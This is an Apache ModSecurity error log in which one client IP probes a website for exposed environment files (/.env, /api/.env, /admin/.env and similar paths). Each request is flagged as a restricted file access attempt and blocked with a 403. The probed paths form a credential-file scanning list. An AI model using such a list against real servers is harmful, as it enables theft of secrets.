[Sat Oct 24 05:04:09.245426 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "atx0iaVWPMRLkHgZYZD5HgAAABU"]
[Sat Oct 24 05:04:09.245792 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "atx0iaVWPMRLkHgZYZD5HgAAABU"]
[Sat Oct 24 05:04:09.341552 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yaml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "atx0iaVWPMRLkHgZYZD5HwAAABU"]
[Sat Oct 24 05:04:09.341845 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "atx0iaVWPMRLkHgZYZD5HwAAABU"]
[Sat Oct 24 05:04:09.342196 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "atx0iaVWPMRLkHgZYZD5HwAAABU"]
[Sat Oct 24 05:04:09.468918 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "atx0iaVWPMRLkHgZYZD5IAAAABU"]
[Sat Oct 24 05:04:09.469126 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "atx0iaVWPMRLkHgZYZD5IAAAABU"]
[Sat Oct 24 05:04:09.469468 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "atx0iaVWPMRLkHgZYZD5IAAAABU"]
[Sat Oct 24 05:04:09.629686 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "atx0iaVWPMRLkHgZYZD5IQAAABU"]
[Sat Oct 24 05:04:09.629957 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "atx0iaVWPMRLkHgZYZD5IQAAABU"]
[Sat Oct 24 05:04:09.630315 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "atx0iaVWPMRLkHgZYZD5IQAAABU"]
[Sat Oct 24 05:04:09.758995 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "atx0iaVWPMRLkHgZYZD5IgAAABU"]
[Sat Oct 24 05:04:09.759260 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "atx0iaVWPMRLkHgZYZD5IgAAABU"]
[Sat Oct 24 05:04:09.759576 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "atx0iaVWPMRLkHgZYZD5IgAAABU"]
[Sat Oct 24 05:04:09.998231 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "atx0iaVWPMRLkHgZYZD5IwAAABU"]
[Sat Oct 24 05:04:09.998504 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "atx0iaVWPMRLkHgZYZD5IwAAABU"]
[Sat Oct 24 05:04:09.998908 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "atx0iaVWPMRLkHgZYZD5IwAAABU"]
[Sat Oct 24 05:04:10.082600 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "atx0iqVWPMRLkHgZYZD5JAAAABU"]
[Sat Oct 24 05:04:10.082826 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "atx0iqVWPMRLkHgZYZD5JAAAABU"]
[Sat Oct 24 05:04:10.083171 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "atx0iqVWPMRLkHgZYZD5JAAAABU"]
[Sat Oct 24 05:04:10.151170 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "atx0iqVWPMRLkHgZYZD5JQAAABU"]
[Sat Oct 24 05:04:10.151408 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "atx0iqVWPMRLkHgZYZD5JQAAABU"]
[Sat Oct 24 05:04:10.151739 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "atx0iqVWPMRLkHgZYZD5JQAAABU"]
[Sat Oct 24 05:04:10.195644 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 35.172.125.172:49194] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:04:10.243373 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "atx0iqVWPMRLkHgZYZD5JgAAABU"]
[Sat Oct 24 05:04:10.243615 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "atx0iqVWPMRLkHgZYZD5JgAAABU"]
[Sat Oct 24 05:04:10.243960 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "atx0iqVWPMRLkHgZYZD5JgAAABU"]
[Sat Oct 24 05:04:10.384261 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "atx0iqVWPMRLkHgZYZD5JwAAABU"]
[Sat Oct 24 05:04:10.384486 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "atx0iqVWPMRLkHgZYZD5JwAAABU"]
[Sat Oct 24 05:04:10.384869 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "atx0iqVWPMRLkHgZYZD5JwAAABU"]
[Sat Oct 24 05:04:10.456434 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "atx0iqVWPMRLkHgZYZD5KAAAABU"]
[Sat Oct 24 05:04:10.456792 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "atx0iqVWPMRLkHgZYZD5KAAAABU"]
[Sat Oct 24 05:04:10.457291 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "atx0iqVWPMRLkHgZYZD5KAAAABU"]
[Sat Oct 24 05:04:10.535773 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "atx0iqVWPMRLkHgZYZD5KQAAABU"]
[Sat Oct 24 05:04:10.536009 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "atx0iqVWPMRLkHgZYZD5KQAAABU"]
[Sat Oct 24 05:04:10.536380 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "atx0iqVWPMRLkHgZYZD5KQAAABU"]
[Sat Oct 24 05:04:10.625738 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "atx0iqVWPMRLkHgZYZD5KgAAABU"]
[Sat Oct 24 05:04:10.626033 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "atx0iqVWPMRLkHgZYZD5KgAAABU"]
[Sat Oct 24 05:04:10.626372 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "atx0iqVWPMRLkHgZYZD5KgAAABU"]
[Sat Oct 24 05:04:10.693206 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "atx0iqVWPMRLkHgZYZD5KwAAABU"]
